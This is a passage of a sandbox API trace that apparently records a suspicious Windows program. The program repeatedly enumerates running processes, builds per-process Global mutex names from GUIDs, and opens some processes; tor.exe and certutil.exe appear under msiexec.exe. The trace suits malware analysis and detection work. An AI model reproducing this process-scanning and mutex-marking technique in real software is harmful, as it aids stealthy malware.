th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0118.392] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0118.393] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0118.394] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.394] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.395] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.396] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.397] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.398] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0118.399] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.400] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.401] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0118.401] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.402] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0118.403] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0118.403] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0118.403] GetLastError () returned 0xb7 [0118.403] CloseHandle (hObject=0x6cc) returned 1 [0118.403] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0118.404] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0118.404] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0118.404] GetLastError () returned 0xb7 [0118.404] CloseHandle (hObject=0x6cc) returned 1 [0118.404] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0118.405] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0118.406] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0118.406] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0118.406] GetLastError () returned 0x0 [0118.406] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0118.406] CloseHandle (hObject=0x6cc) returned 1 [0118.406] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0118.407] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0118.407] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0118.407] GetLastError () returned 0x0 [0118.407] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0118.407] CloseHandle (hObject=0x6cc) returned 1 [0118.407] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0118.408] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0118.408] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0118.408] GetLastError () returned 0xb7 [0118.408] CloseHandle (hObject=0x6cc) returned 1 [0118.408] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0118.409] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0118.409] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0118.409] GetLastError () returned 0x0 [0118.409] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0118.409] CloseHandle (hObject=0x6cc) returned 1 [0118.409] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0118.410] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0118.410] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0118.411] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0118.412] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0118.413] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0118.414] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0118.414] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0118.415] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0118.416] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0118.417] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0118.417] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0118.418] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0118.419] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0118.420] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0118.421] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0118.421] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0118.422] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0118.423] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0118.424] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0118.424] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0118.425] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.426] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0118.427] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.476] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0118.477] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0118.478] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0118.479] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0118.480] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0118.481] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.482] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0118.482] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0118.483] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0118.483] GetLastError () returned 0xb7 [0118.483] CloseHandle (hObject=0x6cc) returned 1 [0118.483] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0118.484] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="certutil.exe")) returned 1 [0118.484] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0118.485] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0118.486] CloseHandle (hObject=0x56c) returned 1 [0118.486] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0118.586] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x56c [0118.588] Process32FirstW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0118.589] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0118.590] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0118.591] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0118.592] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0118.593] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0118.593] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0118.594] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0118.595] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0118.596] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0118.597] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.597] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.598] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.599] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, 